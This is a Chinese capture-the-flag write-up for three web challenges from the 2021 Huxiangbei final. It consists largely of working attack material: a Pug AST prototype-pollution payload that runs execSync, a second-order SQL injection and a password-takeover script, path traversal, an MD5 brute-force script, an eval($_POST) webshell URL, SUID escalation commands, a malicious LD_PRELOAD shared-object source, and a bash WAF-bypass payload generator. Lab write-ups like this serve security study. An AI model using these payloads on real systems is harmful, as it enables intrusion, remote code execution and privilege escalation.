2021年--湖湘杯--final

vote

考点

AST配合Pug模板引擎实现注入
https://blog.p6.is/AST-Injection/

wp

image-20220419225503783

主要代码,需要满足if语句,从而可以执行compile语句

payload

{
"__proto__.hero":{
	"name":"奇亚纳"
},
"__proto__.block": {
 	"type": "Text", 
    "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }
}

因为环境不出网,所以就只能写入本地后,再访问

image-20220419225732784

Penetratable

考点:

  1. 找前端js文件获取一些信息系
  2. 注册和登录界面二次sql注入
  3. 跑脚本找md5对应的值
  4. 提权

wp

看到界面,只有登录和注册界面,首先dirsearch扫一波

image-20220413231415274

好像只能获得前端的一些js代码

看到req.js

function login(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
    let pass=hex_md5($(".form-floating>input").eq(1).val())
    $.ajax({
        url: '/?c=app&m=login',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass,
        // async:true,
        dataType: 'text',
        success: function(data){
            let res=$.parseJSON(data);
            if (res['login']){
                switch (res['type']){
                    case 'user': location.href="/?c=user"; break;
                    case 'admin': location.href="/?c=admin"; break;
                    case 'root': location.href="/?c=root"; break;
                }
            }else if(res['alertFlag']){
                alert(res['alertData']);
            }
        }
    });
}

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function signOut(){
    $.ajax({
        url: '/?c=app&m=signOut',
        type: 'get',
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function alertHandle(data){
    let res=$.parseJSON(data);
    if(res['alertFlag']){
        alert(res['alertData']);
    }
    if(res['location']){
        location.href=res['location'];
    }
}

function changeAdminPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
    }
}
function changeRootPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
    }
}

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

function adminHome(){
    location.href='/?c=root'
}

function getUserInfo(){
    location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
    location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
    let pass=hex_md5($(".form-floating>input").eq(3).val())
    let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
    $.ajax({
        url: '/?c=app&m=register',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
        dataType: 'text',
        success: function(data){
            // console.log(data);
            alertHandle(data);
        }
    });
}

有一些路由,应该有一些利用点,有root,admin和user

我们注册一个user账户,登录进去,可以修改密码

我看网上有些wp是直接通过这个改密码,改数据包可以修改admin的密码

但是我试了半天都不行

试一下二次注入

先注册admin'#,登录,修改密码,admin登录不成功

可能是闭合符号不同,利用admin"#,成功修改

利用这个方法改变root,发现不行,没有权限,而且admin界面还没法修改密码。

回看js代码,发现有段代码注释点,这个就有点不太一样了。

发现是个改变密码的页面

尝试通过admin来修改root的密码

import requests
import base64
from hashlib import md5

url = 'http://ip地址/'
url1 = url + '?c=app&m=login'
url2 = url + '?c=admin&m=updatePass'

user1 = base64.b64encode(b'admin').decode()
user2 = base64.b64encode(b'root')
pass1 = md5(b'111').hexdigest()#需要修改自己的admin密码
pass2 = md5(b'root').hexdigest()

sess = requests.Session()

data = {
    # admin/111
    "name": user1,    # admin
    "pass": pass1     # 111
}
r = sess.post(url1, data=data)
print(r.text)

data = {
    
    "name": user2,       # root
    "newPass": pass2,    # root
    "oldPass": pass1,    # 111
    "saying": user2
}
r = sess.post(url2, data=data)
print(r.text)

返回这个,成功修改

{"login":true,"type":"admin"} {"alertData":"\u4fee\u6539\u6210\u529f","location":"\/?c=admin","alertFlag":1}

登录root,发现有个下载的界面

image-20220413232608158

抓包,尝试读取文件内容,存在目录穿越的漏洞

image-20220413232717900

这个哈希只有爆破了

这个字符串只能一个个试,跑得有点久

from hashlib import md5
md="3fde6bb0541387e4ebdadf7c2ff31123"
str="123456789zxcvbnmasdfghjklqwertyuiop"
flag=""
for i in str:
    for j in str:
        for k in str:
            for m in str:
                for n in str:
                    for a in str:
                        flag=i+j+k+m+n+a
                        if md5(flag.encode()).hexdigest()==md:
                            print(flag)
                            break

得到1q2w3e

直接上蚁剑

http://1.14.71.254:28144/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

虚拟终端没有权限,只能提取了

利用SUID提权

# 搜索 SUID file 可执行文件
find / -type f -perm /4000 2>/dev/null
# 利用 sed 命令查看 flag
/bin/sed '1p' /flag

image-20220413233141557

MultistaeAgency

考点

  1. GO语言上传文件和写入环境变量配合,利用恶意so文件来rce
  2. 利用curl来读取内网的服务器接口
  3. 然后点号,星号,问号和字母

wp

给了附件,下载附件

Dockerfile

FROM golang:latest

RUN mkdir -p /code/logs

COPY . /code

WORKDIR /code

RUN go build -o bin/web web/main.go && \
    	go build -o bin/proxy proxy/main.go && \
    	go build -o bin/server server/main.go

RUN chmod -R 777 /code

RUN useradd web

ADD flag /flag

RUN chmod 400 /flag

ENTRYPOINT  "/code/start.sh"

start.sh

echo `cat /proc/sys/kernel/random/uuid  | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1  >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1  >/code/logs/proxy.log &"

/code/bin/server 2>&1  >/code/logs/server.log &

tail -f /code/logs/*

可以知道有三个服务,web,server,proxy

其中web和proxy是web权限,server是root权限登录

flag是400权限,需要root权限

审web的main.go

image-20220419235044443

三个路由接口/token/uploadlist

token是用来获取token和设置环境变量

image-20220419235310212

upload是将上传的文件到当前token所对应的目录下面,然后请求server服务的/manage接口

image-20220419235416201

/list接口就是列出这个目录下的文件名

我们看server的manage接口

image-20220419235559416

其中m的值是可控的,然后格式化字符串后,就执行bash的命令。加上flag需要root权限读(文件所有者是root,用户组是普通用户),所有我们的目的还是需要执行server的exec命令

对于GET传参可控的话,直接拿分号分割命令然后读flag即可。

在前面token路由可以设置环境变量,加上可以上传文件。

我们可以上传一个so文件的动态链接库,然后LD_PRELOAD来加载一个上传的恶意so文件,就可以达到一个命令执行。

root@VM-0-6-ubuntu:~# vim evil.c
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("cmd"));
}
root@VM-0-6-ubuntu:~# gcc -shared -fPIC -o evil.so evil.c

因为上传的文件路径是在token下的,所有要找到这个token。

proxy服务器的端口8080

image-20220420002655156

利用http_proxy,说明需要通过8080端口的proxy来访问

然后就开始rce

image-20220420003141507

然后读flag不成功,原因上面说过了。

接下来,就是需要直接拿shell进行访问(curl)内网的server服务的/manage

manage有个waf

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

需要绕过点号,星号和问号和字母

利用师傅的脚本

from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

print(quote(quote("123;"+build("cat /flag"))))


image-20220420003657993

出flag

参考文献

https://blog.csdn.net/rfrder/article/details/122330544

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值